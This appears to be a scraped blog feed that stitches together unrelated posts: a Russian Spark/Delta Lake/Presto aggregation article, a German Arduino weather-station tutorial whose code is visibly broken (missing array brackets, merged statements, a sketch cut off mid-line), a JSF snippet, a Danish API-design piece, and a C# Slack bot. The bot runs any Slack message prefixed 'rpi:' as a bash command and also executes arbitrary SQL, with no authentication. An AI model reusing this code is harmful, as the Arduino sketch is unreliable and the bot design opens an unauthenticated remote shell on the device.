Рассмотрим типичную BI-задачу, когда по продажам товаров разных брендов и категорий необходимо генерировать сложные агрегированные отчеты. Данные структурированы по столбцам Дата (Date), Бренд (Brand), Категория (Category), Продукт (Product) и Продажа (Sale). Классический подход к моделированию многомерных данных, часто используемый при работе с КХД (DWH, Data WareHouse), предполагает создание таблиц измерений и фактов, где хранятся ключи. В рассматриваемом примере по схеме «звезда» таблицами измерений (Dim, Dimension) могут быть таблицы с датами (Dim Date), категориями (Dim Category) и пр., а таблицей фактов – продажи (Sale). Таким образом, таблица фактов (центр звезды) содержит агрегированные данные для ��оставления отчетов, а денормализованные таблицы измерений (лучи) описывают хранимые данные. Это позволяет запустить процессы аналитической обработки данных OLAP (Online analytical processing), чтобы свернуть хранилище в кубы с предварительной агрегацией для расчета сложных многомерных показателей. Упростить этот процесс, одновременно ускорив работу с большими данными, поможет создания столбцового предварительно агрегированного набора данных с одной таблицей и расширения его в зависимости от потребностей. Как это реализовать с помощью SQL-механизмов Apache Spark и Presto, а также колоночного и быстрого колоночного хранилища Delta Lake, мы рассмотрим далее.

SQL-агрегация данных в Delta Lake с Apache Spark и Presto

Обеспечить максимально быстрое и гибкое выполнение аналитических запросов поможет SQL-агрегация данных GROUPING SET, которая позволяет получить результат в виде одной объединенной таблицы, созданной разными группами из целого датасета. В рассматриваемом примере с колонками {Date, Brand}, {Brand, Category} и {Category} это будет выглядеть следующим образом [1]: SELECT Date, Brand, Category, SUM(Sale) AS Sum_Sale FROM data GROUP BY GROUPING SETS ( (Date, Brand), (Brand, Category), (Category) ) Далее можно отфильтровать результат и получить другой отчет из этого же набора данных. Благодаря колоночной структуре Delta Lake хранение таких данных более эффективно и имеет меньший размер по сравнению со строковыми СУБД.

Предварительная агрегация данных, хранящихся в Delta Lake, с помощью Spark SQL будет выглядеть следующим образом: df = sparkSession.read.format("delta") \ .load(read_path) \ --or anywhere else .select(col('data.*')) df.persist() df.createOrReplaceTempView("dataset") result = sparkSession.sql(""" SELECT Date, Brand, Category, SUM(Sale) AS Sum_Sale FROM dataset GROUP BY GROUPING SETS ( (Date, Brand), (Brand, Category), (Category) ) """) Запись результатов в Delta Lake на PySpark: result.write.format('delta').mode("overwrite") \ .save(write_path) Увеличить скорость выполнения SQL-запросов поможет Apache Presto, который просто запрашивает данные, без их копирования или перемещения. Presto оптимизирован именно под SQL-запросы из нескольких из нескольких источников, причем не только реляционных СУБД, но и NoSQL. Таким образом, можно сказать, что Apache Presto – это механизм интерактивного выполнения распределенных параллельных аналитических запросов, оптимизированный для малой задержки. Максимальные результаты Apache Presto показывает на данных, которые уже подготовлены для структурированных запросов [2], т.е. как в рассматриваемом примере. Чтобы работать с Presto в Delta Lake следует создать внешние Hive-таблицы. Напомним, высокая скорость аналитики больших данных в Delta Lake обеспечивается в т.ч. благодаря тому, данные представлены в виде Hive-таблиц. sparkSession.sql("""GENERATE symlink_format_manifest FOR TABLE delta.`{}`""".format( table_path)) ddl = """CREATE EXTERNAL TABLE if not exists {}({}) ROW FORMAT SERDE 'org.apache.hadoop.hive.ql.io.parquet.serde.ParquetHiveSerDe' STORED AS INPUTFORMAT 'org.apache.hadoop.hive.ql.io.SymlinkTextInputFormat' OUTPUTFORMAT 'org.apache.hadoop.hive.ql.io.HiveIgnoreKeyTextOutputFormat' LOCATION '{}/_symlink_format_manifest'""" \ .format(table_name, col_name_type, table_path) sparkSession.sql(ddl) В результате даже сложный аналитический SQL-запрос к Delta Lake с Apache Presto будет выглядеть очень просто. Например, требуется получить данные о продажах товаров двух категорий с незаданными датами и брендами [1]: SELECT Category, Sum_Sale FROM result WHERE Category IS NOT NULL AND Brand IS NULL AND Date IS NULL Таким образом, рассмотренный подход объединяет скорость Apache Spark для вычислений и мощность Delta Lake в качестве колоночного хранилища Big Data с гибкостью SQL-движка Presto для ускорения OLAP-отчетов по большим данным с помощью их предварительной агрегации. Это существенно облегчает работу аналитика данных (Data Analyst) по поиску полезных для бизнеса сведений в огромных объемах информации, не налагая чрезмерной нагрузки на дата-инженера. Освоить эти и другие инструменты аналитики больших данных в экосистеме Apache Hadoop вы сможете на специализированных курсах в нашем лицензированном учебном центре обучения и повышения квалификации для разработчиков, менеджеров, архитекторов, инженеров, администраторов, Data Scientist’ов и аналитиков Big Data в Москве: Анализ данных с Apache Spark Hadoop SQL администратор Hive Hadoop для инженеров данных Источники 1. https://fakhredin.medium.com/data-modeling-with-apache-spark-delta-lake-presto-8663a90ccd1c 2. https://www.trustradius.com/compare-products/apache-spark-vs-presto Read the full article

#BigData #DeltaLake #DWH #Hadoop #Hive #Spark #SparkSQL #SQL #Большиеданные #обработкаданных

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offensivewireless · 1 year ago

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Kerberos Penetration Testing Fundamentals

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poplabsec · 1 year ago

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Kerberos Penetration Testing Fundamentals

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draegerit · 5 years ago

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Weekend Projekt: Wetterstation mit Uhrzeit und Text auf einem LCD Display

In die Beitrag möchte ich dir zeigen wie du eine kleine Wetterstation mit einem Arduino Mega 2560 Pro mini, einem 4 Zeilen LCD Display, einem BMP280 Sensor und einer RTC DS3231 baust. Dieses Projekt ist aus einer bitte eines Lesers meines Blogs entstanden. Daher geht ein herzlicher Gruß an Hubert J.

Aufbau - BMP280, RTC DS3231 und LCD Display am Arduino Mega 2560 Pro Mini Die weißen Stellen am LCD Display ist Silikon. Das Display habe ich bereits für ein anderes Projekt verwendet, jedoch ließt sich das Silikon nicht restlos entfernen.

benötigte Bauteile & Kosten

Wie eingangs gezeigt benötigst du für dieses Projekt wenige Bauteile. Die meisten dieser Bauteile erhälst du sehr günstig auf ebay.de (die links zu den Artikel sind jeweils entsprechend hinterlegt). 1x Arduino Mega 2560 Pro mini, (5,70 €) 1x BMP280 Sensor, (1,79 €) 1x 4x20 LCD Display* (I2C Anschluß), (7,82 €) Breadboardkabel, 20cm, Buchse - Buchse (4,90 €) Das gesamte Projekt kostet ca. 21€ zzgl. Versandkosten. In die Berechnung sind die jeweils günstigsten Bauteile von ebay.de eingeflossen, zumeist kommen diese aus dem Asiatischen Raum und haben somit eine lange Lieferzeit, jedoch sind diese dann in der Anschaffung günstiger. * Das LCD Display gibt es in den Ausführungen mit I2C und SPI Anschluß. In diesem Projekt verwende ich das Display mit I2C Anschluß.

Aufbau der Schaltung

Der Sensor BMP280, die RTC DS3231 sowie das LCD Display werden über I2C angebunden. Der Vorteil von I2C ist das mehrere Geräte an einem Datenbus angeschlossen werden können. Jedoch müssen diese Geräte jeweils eine einzigartige Adresse besitzen. Modul Adresse BMP280 0x76 RTC DS3231 0x68 LCD Display 0x27 Anschluß mehrerer Sensoren & Aktoren an einem I2C Bus Wie bereits erwähnt werden die Sensoren & Aktoren in diesem Projekt zusammen über einen Datenbus betrieben (I2C). Hier nun ein vereinfachtes Shema dazu:

Aufbau I2C Verbindung Anschluß der Sensoren & Aktoren an den Arduino Mega 2560 Pro Mini Der Arduino Mega 2560 Pro Mini verfügt über die Pins SDA (digitaler Pin D20) und SCL (digitaler Pin D21). An diese beiden werden die Sensoren und Aktoren angeschlossen. Solltest du einen Arduino UNO oder Nano verwenden so liegen dort SDA auf analog Pin A4 und SCL auf analog Pin A5. Sensor / Aktor Arduino Mega 2560 Pro mini BMP 280 SDI / SDA digitaler Pin D20 SCK / SCL digitaler Pin D21 VCC 3.3V GND GND RTC DS3231 SDA digitaler Pin D20 SCL digitaler Pin D21 VCC 5V GND GND LCD Display SDA digitaler Pin D20 SCL digitaler Pin D21 VCC 5V GND GND Hier nun der Aufbau auf einem Breadboard. Es ist darauf zu achten das der BMP280 mit max. 3.3V und die RTC sowie das LCD mit 5V betrieben wird!

Aufbau der Schaltung "Indoor Temperatur, Luftdruck & Uhrzeit / Datum"

Programmierung

benötigte Bibliotheken Für den Sketch habe ich zusätzlich 2 Bibliotheken verwendet. Wie man eine Bibliothek in die Arduino IDE integriert habe ich im gleichnamigen Beitrag Arduino IDE, Einbinden einer Bibliothek ausführlich erläutert. LCD Display Für das nachfolgende Sketch benötigst du die Bibliothek "LiquidCrystal" welche du entweder bequem über den Bibliotheksverwalter installieren oder aber über den Link https://bitbucket.org/fmalpartida/new-liquidcrystal/downloads/ herunterladen kannst. BMP280 Für den Sensor BMP280 gibt es diverse Bibliotheken jedoch läuft der Sensor welchen ich verwende auf die Adresse 0x76 und somit musste ich mir eine Bibliothek suchen bei welcher ich diese Adresse anpassen konnte. Im Bibliotheksverwalter der Arduino IDE bin ich dabei auf die Bibliothekssammlung "I2C-Sensor-Lib iLib" gestoßen.

Bibliothek für den Sensor BMP280 Diese Sammlung enthält unter anderem die Bibliothek für diesen Sensor. Quellcode // Einbinden Wire Bibliothek #include // Einbinden der LiquidCrystal Bibliothek für das I2C Modul des Displays. #include // Bibliothek zum auslesen der Daten des BMP280 #include "i2c.h" #include "i2c_BMP280.h" // Adresse der RealTimeclock DS3231 #define RTC_I2C_ADDRESS 0x68 // BMP280 Objekt initialisieren BMP280 bmp280; // Initialisieren des LCD Displays mit der I2C Adresse 0x27 LiquidCrystal_I2C lcd(0x27, 2, 1, 0, 4, 5, 6, 7, 3, POSITIVE); //Membervariablen int jahr, monat, tag, stunde, minute, sekunde, wochentag; int daysInMonth = {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}; String daysInWeek = {"Sonntag", "Montag", "Dienstag", "Mittwoch", "Donnerstag", "Freitag", "Samstag"}; String monthInYear = {"Januar", "Februar", "März", "April", "Mai", "Juni", "Juli", "August", "September", "Oktober", "November", "Dezember"}; String outputFormat = "%s, %02d.%s %04d %02d:%02d:%02d Uhr"; // Methode wird einmalig beim starten des Microcontrollers aufgerufen // bzw. wenn dieser neugestartet wird. void setup() { //LCD Display initialisieren mit 20 Zeichen pro Zeile und 4 Zeilen lcd.begin(20, 4); //Beginn der seriellen Kommunikation Serial.begin(9600); //prüfen ober der Sensor BMP280 korrekt angeschlossen ist. if (!bmp280.initialize()) { Serial.println("Der Sensor BMP280 wurde nicht gefunden!"); //Wenn kein Sensor gefunden wurde dann wird eine Endlosschleife gestartet. //In diesem Fall wird keine Ausgabe auf dem LCD Display stattfinden. while (true) {} } //Wenn der Sensor gefunden wurde, dann mit der Messung beginnen. bmp280.setEnabled(0); bmp280.triggerMeasurement(); //Ausgabe des Befehles zum setzen des Datums / der Uhrzeit an der RTC Serial.println("Mit dem Befehl kann das Datum und die Uhrzeit gesetzt oder veraendert werden."); Serial.println("Beispiel: set 28.08.2013 10:54:23"); } //Diese Funktion wird stetig ausgeführt d.h. solange der Microcontroller Strom hat und //es zu keinem Fehler kommt wird immer wieder diese Funktion "von oben nach unten" durchlaufen. void loop() { //lesen der Uhrzeit von der RTC rtcReadTime(); //zwischenspeichern des Wertes der RTC String datumUhrzeit = printRTCDateTime(); //ggf. setzen eines neuen Wertes an der RTC setRTCTime(); //setzen der ersten Zeile auf dem Display printTextAt(0,0, "Jakob seine Digi Uhr"); //setzen der zweiten Zeile auf dem Display (den Wert aus Uhrzeit und Datum) printTextAt(1,1, datumUhrzeit); //lesen der aktuellen Messwerte bmp280.awaitMeasurement(); //Variable zum zwischenspeichern der Temperatur, //diese Variable wird von der Funktion "getTemperature" vom BMP280 Objekt befüllt. float temp; bmp280.getTemperature(temp); //Variable zum zwischenspeichern des Luftdrucks, //diese Variable wird von der Funktion "getPressure" vom BMP280 Objekt befüllt. float pascal; bmp280.getPressure(pascal); bmp280.triggerMeasurement(); //setzen der dritten Zeile am Display mit der Temperatur printTextAt(2,1, "Temperatur=" + String(temp, 1) + " C"); //setzen der vierten Zeile am Display mit dem Luftdruck printTextAt(3,1, "Luftdruck=" + String(pascal / 100, 1) + " hPa"); delay(1000); } //setzt eine Zeile (lineNumber), beginnend an einer Spalte (column) mit dem Text void printTextAt(int lineNumber, int column, String text) { lcd.setCursor( column, lineNumber ); lcd.print(text); } //Ließt den aktuellen Zeitstempel aus dem RTC Modul. void rtcReadTime(){ Wire.beginTransmission(RTC_I2C_ADDRESS); //Aufbau der Verbindung zur Adresse 0x68 Wire.write(0); Wire.endTransmission(); Wire.requestFrom(RTC_I2C_ADDRESS, 7); sekunde = bcdToDec(Wire.read() & 0x7f); minute = bcdToDec(Wire.read()); stunde = bcdToDec(Wire.read() & 0x3f); //Der Wochentag wird hier nicht ausgelesen da dieses mit //dem Modul RTC DS3231 nicht über die Wire.h zuverlässig funktioniert. /* wochentag =*/ bcdToDec(Wire.read()); tag = bcdToDec(Wire.read()); monat = bcdToDec(Wire.read()); jahr = bcdToDec(Wire.read())+2000; } //Funktion zum schreiben / setzen der Uhrzeit. void rtcWriteTime(int jahr, int monat, int tag, int stunde, int minute, int sekunde){ Wire.beginTransmission(RTC_I2C_ADDRESS); Wire.write(0); // Der Wert 0 aktiviert das RTC Modul. Wire.write(decToBcd(sekunde)); Wire.write(decToBcd(minute)); Wire.write(decToBcd(stunde)); Wire.write(decToBcd(0)); // Wochentag unberücksichtigt Wire.write(decToBcd(tag)); Wire.write(decToBcd(monat)); Wire.write(decToBcd(jahr-2000)); Wire.endTransmission(); } //Berechnet den Tag der Woche aus dem übergebenen Datumswerten. byte calcDayOfWeek(int jahr, byte monat, byte tag) { static int t = {0, 3, 2, 5, 0, 3, 5, 1, 4, 6, 2, 4}; jahr -= monat return ((jahr + jahr/4 - jahr/100 + jahr/400 + t + tag) % 7); } //Convertiert Dezimalzeichen in binäre Zeichen. byte decToBcd(byte val){ return ( (val/10*16) + (val%10) ); } //Convertiert binäre Zeichen in Dezimal Zeichen. byte bcdToDec(byte val){ return ( (val/16*10) + (val%16) ); } //Ließt einen String und liefert einen Integer Wert von einer //definierten Stelle (byte num) des Stringwertes. int getIntFromString (char *stringWithInt, byte num){ char *tail; while (num>0){ num--; //Bei Kommanseparierten Listen werden die Kommata //übersprungen und geben damit die Unterteilung des Strings an. while ((!isdigit (*stringWithInt))&&(*stringWithInt!=0)){ stringWithInt++; } tail=stringWithInt; //Schleife solange ausführen bis eine Zahl gefunden wurde //welche größer 0 ist. while ((isdigit(*tail))&&(*tail!=0)){ tail++; } if (num>0){ stringWithInt=tail; } } return(strtol(stringWithInt, &tail, 10)); } //Gibt einen Zeitstempel auf der Seriellen Schnittstelle aus. String printRTCDateTime(){ char linebuf; int dOW = calcDayOfWeek(jahr, monat, tag); String wochentagC = daysInWeek; String monatC = monthInYear; String result = ""; if(stunde Read the full article

#Arduino #ArduinoMega #BMP280 #DS3231 #RTC #Wetterstation

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sanjeev216-blog · 5 years ago

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#python #outputs #formatting #outputformatting #programs #pythonlanguage #dataanalytics #datascience #analytics #data

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catgovind · 7 years ago

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JSF OutputFormat Example

JSF OutputFormat Example #JSF @JSF @JavaServerfaces #JavaServerfaces

JSF OutputFormat Example

The JSF OutputFormat allow us to display text with runtime parameters. The Pattern for the format of the text is based on java.text.MessageFormat. Let’s look at the following example,

Hello Govind, Welcome to JSF Tutorials!

here I want to generate the texts ‘Govind’ and ‘JSF Tutorial’ dynamically based on user logs in and what tutorials he is currently reading, So…

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#h:outputFormat #JSF 2.2 #jsf outputformat #JSF Tutorial

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stalen00bsblog · 6 years ago

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So your rPi is sitting there on your local network and you (hopefully!) haven't opened the telnet ports on your router, and you are not at home but you need to talk to your rPi. What's a poor boy to do? Well, if you've added this Slack Bot app to your Slack account, you can talk to your rPi from anywhere! Send bash commands, check on its health, control your devices, all from Slack!

Examples

Simple Ping

Get the Temperature of Your rPi Processor

Get Memory Utilization (Bash Command)

Get Free Disk Space (Bash Command)

Send a Command to a Device, like the LCD1602

Check on a Process (Bash Command)

Query Postgres

What You Should Already Know

You should already know:

how to create a .NET Core application

publish it with the linux-arm architecture

WinSCP (or PCSP) it over to the rPi

Fire up a terminal window in Putty to run it.

What if I Don't Have a rPi?

If you don't have an rPi, you can still run the application from Visual Studio though of course the Linux, rPi, and LCD1602 specific stuff won't work. That leaves you with sending "ping" but you can easily add additional behaviors. In fact, I did a lot of the Slack API testing from a Windows box with Visual Studio.

Creating a Bot App in Slack

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The first step is to create a bot app for your Slack account. IMPORTANT! At the point where you create your app, you will also need to create a bot. For example, my bot is called "rpichat" and is listed on the https://api.slack.com/apps page:

Click on the bot and you'll see this:

Click on "Add Features and functionality" and you'll see this:

Click on Bots:

and then "Add a Bot User". Set the display name and default user name, then click on Add Bot User:

Click on OAuth & Permissions on the left:

If you haven't already installed the app in your workspace, you'll see this button:

Install the app, authorize it, and now you can see the Bot User OAuth Access token.

The Code

To begin with, three packages need to be added to the project:

Main

This is really simple:

private static SlackSocketClient client; static void Main(string[] args) { Console.WriteLine("Initializing..."); InitializeSlack(); Console.WriteLine("Slack Ready."); Console.WriteLine("Press ENTER to exit."); Console.ReadLine(); }

SlackAPI

For this article, I'm using the SlackAPI, an open source C#, .NET Standard library which works great on the rPi. Please note that I have not investigated its robustness with regards to losing the websocket connection and restoring it.

Because we're using the Real Time Messaging (RTM) API and a bot app, we'll need to Bot User OAuth Access Token as found on the https://api.slack.com/apps page (navigate then to your app.) This is an important link to remember as it is the gateway to all your apps. In the OAuth Access section, you should see something like this, of course without the tokens blacked out:

Copy the Bot Token (and the OAuth Token if you want) into the appSettings.json file:

{ "Slack": { "AccessToken": "[you access token]", "BotToken": "your bot token]" } }

The "AccessToken" isn't used in this article but you might want it there for other things that you do.

Initializing the API and Receiving Messages

Using the API is straight forward. One method handles the startup and message routing, the comments and code, which I've modified a bit, come from the SlackAPI wiki page examples:

static void InitializeSlack() { string botToken = Configuration["Slack:BotToken"]; ManualResetEventSlim clientReady = new ManualResetEventSlim(false); client = new SlackSocketClient(botToken); client.Connect((connected) => { // This is called once the client has emitted the RTM start command clientReady.Set(); }, () => { // This is called once the RTM client has connected to the end point }); client.OnMessageReceived += (message) => { // Handle each message as you receive them Console.WriteLine(message.user + "(" + message.username + "): " + message.text); if (message.text.StartsWith("rpi:")) { // Skip any spaces after "rpi:" and get what's left of the first space, ignoring data. string cmd = message.text.RightOf("rpi:").Trim().LeftOf(" "); // Get everything to the right after the command and any number of spaces // separating the start of the data. string data = message.text.RightOf("rpi:").Trim().RightOf(" ").Trim(); Console.WriteLine("cmd: " + cmd); Console.WriteLine("data: " + data); string ret = "Error occurred."; if (router.TryGetValue(cmd, out Func<string, string> fnc)) { ret = fnc(data); } else { // Try as bash command. string cmdline = message.text.RightOf("rpi:").Trim(); ret = "```" + cmdline.Bash() + "```"; } client.PostMessage((mr) => { }, message.channel, ret); } }; clientReady.Wait(); }

There are three things to note about the message handler in the above code:

Any message that does not being with "rpi:" will be ignored. This is because when the application posts a message, the message event is fired so the application gets back the very message that was just posted. To distinguish between commands that you, the user, are sending, your commands must be prefixed with "rpi:".

For console output of bash commands is returned in markdown block quotes which uses a monospace font and preserves leading spaces, so you get back a nicely formatted result.

We always reply on the channel from which the message was received. You might be chatting with the bot in its app direct message channel, or if the bot has been invited to a "human" channel, we can chat with it there as well.

Setting Up the Configuration Parser

The configuration parser requires using Microsoft.Extensions.Configuration; and is implemented as a static getter (borrowed from here) and the two NuGet packages mentioned earlier:

public static IConfiguration Configuration { get; } = new ConfigurationBuilder() .SetBasePath(Directory.GetCurrentDirectory()) .AddJsonFile("appSettings.json", optional: false, reloadOnChange: true) .Build();

The file on the *nix side is case-sensitive, so make sure to preserve the case of the filename and how you reference it in the above code.

The Command Router

The router is simply a command key - function dictionary -- if a command has an associated function, that function is called, otherwise it's assumed to be a bash command and the process is invoked.

private static Dictionary<string, Func<string, string>> router = new Dictionary<string, Func<string, string>> { {"temp", GetTemp }, {"display", Display }, {"ping", (_) => "pong" }, };

Extend this for custom C# implementations.

The Bash Process Invoker

This code was borrowed from here:

public static string Bash(this string cmd) { var escapedArgs = cmd.Replace("\"", "\\\""); var process = new Process() { StartInfo = new ProcessStartInfo { FileName = "/bin/bash", Arguments = $"-c \"{escapedArgs}\"", RedirectStandardOutput = true, UseShellExecute = false, CreateNoWindow = true, } }; process.Start(); string result = process.StandardOutput.ReadToEnd(); process.WaitForExit(); return result; }

It implements an extension method, hence its usage looks like "df -h".Bash(). The -c in the arguments is actually telling bash the command (as an argument to bash) to run.

The Commands I've Implemented

Besides the "ping" command, I implemented a couple other things based on what I've got hooked up at the moment.

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Getting the rPi Temperature

The processor has a built-in temperature sensor and the temperature is exposed a file (I found this originally in some Python code and added the Fahrenheit math):

private static string GetTemp(string _) { string ret; string temp = System.IO.File.ReadAllText("/sys/class/thermal/thermal_zone0/temp"); Console.WriteLine(temp); double t = Convert.ToDouble(temp); string dc = String.Format("{0:N2}", t / 1000); string df = String.Format("{0:N2}", t / 1000 * 9 / 5 + 32); ret = dc + "C" + " " + df + "F"; return ret; }

Writing to the LCD1602

From my previous article, I can now display messages to the LCD1602 from Slack!

// Data must be in the format of one of these two options: // "This is line 1" // "This is line 1"[d]"This is line 2" // where [d] is an optional delimiter of any string. private static string Display(string data) { int numQuotes = data.Count(c => c == '\"'); if (data.First() != '\"' || data.Last() != '\"' && (numQuotes != 2 && numQuotes != 4)) { return "bad format"; } Lcd1602 lcd = new Lcd1602(); lcd.OpenDevice("/dev/i2c-1", LCD1602_ADDRESS); lcd.Init(); lcd.Clear(); if (numQuotes == 2) { lcd.Write(0, 0, data.Between("\"", "\"")); } else { // two lines lcd.Write(0, 0, data.Between("\"", "\"")); lcd.Write(0, 1, data.RightOf("\"").RightOf("\"").Between("\"", "\"")); } lcd.CloseDevice(); return "ok"; }

Querying Postgres

Actually, any Postgres SQL command can be executed through your Slack bot, here I show queries.

Executing the SQL, including queries, is straight forward using ADO.NET. For queries, an option for formatting (defaults to JSON) can be provided. My Match extension method would probably be replaced with the C# 8's switch statement and its lovely terseness.

The Northwind database was imported into Postgres using this GitHub repo.

Regarding fetch first 2 rows only, this is part of SQL 2008 but doesn't work in MS SQL Server!

Also, to get this to work, add the appropriate connection string to your appsettings.json file:

"ConnectionStrings": { "rpidb": "Host=[your IP];Database=Northwind;Username=pi;Password=[your password]" }

The ExecuteSQL method:

enum OutputFormat { JSON, CSV, Tabular, } private static string ExecuteSql(string data, List<string> options) { string sql = data; var outputFormat = OutputFormat.JSON; string ret = ""; string validOptionsErrorMessage = "Valid options are --json, --csv, --tabular"; try { options.Match( (o => o.Count == 0, _ => { }), (o => o.Count > 1, _ => throw new Exception(validOptionsErrorMessage)), (o => o[0] == "--json", _ => outputFormat = OutputFormat.JSON), (o => o[0] == "--csv", _ => outputFormat = OutputFormat.CSV), (o => o[0] == "--tabular", _ => outputFormat = OutputFormat.Tabular), (_ => true, _ => throw new Exception(validOptionsErrorMessage)) ); string connStr = Configuration.GetValue<string>("ConnectionStrings:rpidb"); var conn = new NpgsqlConnection(connStr); conn.Open(); var cmd = new NpgsqlCommand(sql, conn); NpgsqlDataAdapter da = new NpgsqlDataAdapter(cmd); DataTable dt = new DataTable(); da.Fill(dt); ret = outputFormat.MatchReturn( (f => f == OutputFormat.JSON, _ => Jsonify(dt)), (f => f == OutputFormat.CSV, _ => Csvify(dt)), (f => f == OutputFormat.Tabular, _ => Tabify(dt)) ); ret = "```\r\n" + ret + "```"; } catch (Exception ex) { ret = ex.Message; } return ret; }

Returning JSON

Dead simple using Newtsoft.JSON:

static string Jsonify(DataTable dt) { string ret = JsonConvert.SerializeObject(dt, Formatting.Indented); return ret.ToString(); }

Example:

Returning a CSV

It is also quite simple:

static string Csvify(DataTable dt) { StringBuilder sb = new StringBuilder(); sb.AppendLine(String.Join(", ", dt.Columns.Cast<DataColumn>().Select(dc => dc.ColumnName))); foreach (DataRow row in dt.Rows) { sb.AppendLine(String.Join(", ", dt.Columns.Cast<DataColumn>().Select(dc => row[dc].ToString()))); } return sb.ToString(); }

Example:

Returning Tabular Formatted Data

Here, the width of each column name and row's data is accounted for requires some of Math.Max for the column names and each row data. Tabify is probably not the greatest name!

static string Tabify(DataTable dt) { StringBuilder sb = new StringBuilder(); int[] colWidth = new int[dt.Columns.Count]; // Get max widths for each column. dt.Columns.Cast<DataColumn>().ForEachWithIndex((dc, idx) => colWidth[idx] = Math.Max(colWidth[idx], dc.ColumnName.Length)); // Get the max width of each row's column. dt.AsEnumerable().ForEach(r => { dt.Columns.Cast<DataColumn>().ForEachWithIndex((dc, idx) => colWidth[idx] = Math.Max(colWidth[idx], r[dc].ToString().Length)); }); // Bump all widths by 3 for better visual separation colWidth.ForEachWithIndex((n, idx) => colWidth[idx] = n + 3); // Padded column names: sb.AppendLine(string.Concat(dt.Columns.Cast<DataColumn>().Select((dc, idx) => dc.ColumnName.PadRight(colWidth[idx])))); // Padded row data: dt.AsEnumerable().ForEach(r => sb.AppendLine(string.Concat(dt.Columns.Cast<DataColumn>().Select((dc, idx) => r[dc].ToString().PadRight(colWidth[idx]))))); return sb.ToString(); }

Example:

Limitations

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There's a 4,000 character limit on what can be posted to a Slack channel, so don't go nuts querying hundreds of records and dozens of columns!

Leaving the Program Running

If you want to make the application a service so it always starts up, in the event of a power loss, or Alternatively, if you simply want to have the program keep running even after you close the terminal window:

nohup > /dev/null &

The & makes the process run in the background (this is true for any process that you start), and nohup is "no hang up" when the terminal closes. The redirect > /dev/null redirects console output to nothing rather than the nohup.out file. Read about nohup here.

In this case, I changed main, removing the "press ENTER to exit" and replaced it with a do nothing loop:

while (!stop) Thread.Sleep(1); Thread.Sleep(1000); // wait for final message to be sent. // Console.WriteLine("Press ENTER to exit."); //Console.ReadLine();

and I added a "stop" command to terminate the program from Slack:

{"stop", _ => {stop=true; return "Stopping..."; } }

Conclusion

While the code is very simple, this opens up a whole new world of bidirectional communication between Slack and the rPi (or any SBC for that matter). I can imagine using this to do things like starting and stopping services, getting the status of various devices attached to the rPi, issuing commands, and so forth. I can imagine mounting an rPi or an Arduino on a LEGO robot and using Slack messaging to drive the robot and even post image files! If I had the time and the hardware, I'd definitely play around with that some more.

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allcomputadorspace · 6 years ago

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Skridt til at oprette en vellykket API i Java

Softwareudviklere ønsker en måde at integrere deres software med din – og de vil ikke have tingene nedbrudt for dem. Det er her, hvor en API kommer ind. Det er karakteren af softwareudvikling. Udviklere opretter software med slutbrugeren i tankerne. Det virker ret simpelt, men nogle gange er disse brugere også medudviklere. De har ikke brug for ting nedbrudt for dem. De behøver ikke engang brug for enkelheden. Alt, hvad de vil have, er adgang – en måde at integrere din software med deres. Det er her, hvor en API (applikationsprogrammeringsinterface) kommer ind. De fem trin til oprettelse af en vellykket API er: 1. Gør dit hjemmearbejde Når det kommer til softwareudvikling, ønsker ingen af os at genopfinde hjulet. På dette tidspunkt har næsten alle store webfirmaer API’er til deres softwareprodukter. Undersøg disse API’er og prøv at hente de forskellige designbeslutninger, der gik ud på at skabe dem. 2. være konsekvent En af de ting, som udviklere værdsætter mest er konsistens. Dette omfatter blandt andet adresserbarhed, inputargumenter, outputformater og fejlhåndtering. Når du bruger en RESTful tilgang, er der mange forskellige URI navneordninger. Hver eneste har sine tilhængere, så bare vælg en og hold den sammen. Det samme gælder input og output struktur. De fleste API’er understøtter brug af XML og JSON som input- og outputformater. Jeg vil foreslå at støtte begge dele, men vælge et standardformat. For input skal dine inputkrav benævnes konsekvent og være fornuftigt i forbindelse med API-opkaldet du laver. For output skal du sørge for at bruge almindelige datastrukturlayouter. Hvis du pakker udgangen af et API-opkald i et XML-tag, overveje at gøre det med dine andre opkald. Det er en almindelig praksis at inkludere en slags statusflag i de outputdata, du sender tilbage til klienten. Når du bruger en RESTful API-tilgang, skal dette gøres ved hjælp af HTTP-statuskoder. Hvis du f.eks. Lige har behandlet en PUT-anmodning på et eksisterende dataobjekt, varierer den HTTP-statuskode, du medtager i dit svar, afhængigt af resultatet af anmodningen. I stedet for et vilkårlig flag, der angiver status for opkaldet, kan en standard “200 OK” statuskode bruges til at indikere, at anmodningen var vellykket, mens en “400 Bad Request” statuskode kunne bruges til at indikere, at anmodningen var misdannet. Der er ganske få HTTP-statuskoder, der kan bruges i forskellige situationer. 3. Brug OAuth De fleste softwareprodukter indebærer en form for brugergodkendelse for at få adgang til beskyttede ressourcer til den pågældende bruger. Når det kommer til API’er, er det en dårlig praksis at have klienten indsamlet brugeroplysningerne til at sende til din server. Det er her, hvor OAuth kommer ind. OAuth giver mange fordele i forhold til tredjeparts brugernavn / adgangskode godkendelse. Frem for alt har klienten aldrig adgang til brugerens legitimationsoplysninger. Brugeren omdirigeres til din server, når han eller hun logger ind. Når brugeren logger ind på dit websted, bliver han eller hun omdirigeret tilbage til klienten, hvor klienten vil modtage et adgangstoken til brug i fremtidige anmodninger om beskyttede ressourcer. En anden vigtig fordel ved at bruge OAuth er brugerens evne til at afbryde klientadgang til enhver tid. Hvis brugeren beslutter, at de af en eller anden grund ikke længere vil have klienten adgang til beskyttede ressourcer på deres vegne, går de simpelthen til en grænseflade, som du har oprettet og annulleret klientens adgang. 4. Start tidligt En af de vigtigste ting, du kan gøre for at gøre din API til en succes, er at starte tidligt. Når du skriver den funktion for at oprette en vis indtastning i din database, skal du gå videre og tage den ekstra tid og skrive en API-grænseflade til den. 5. Skriv god dokumentation

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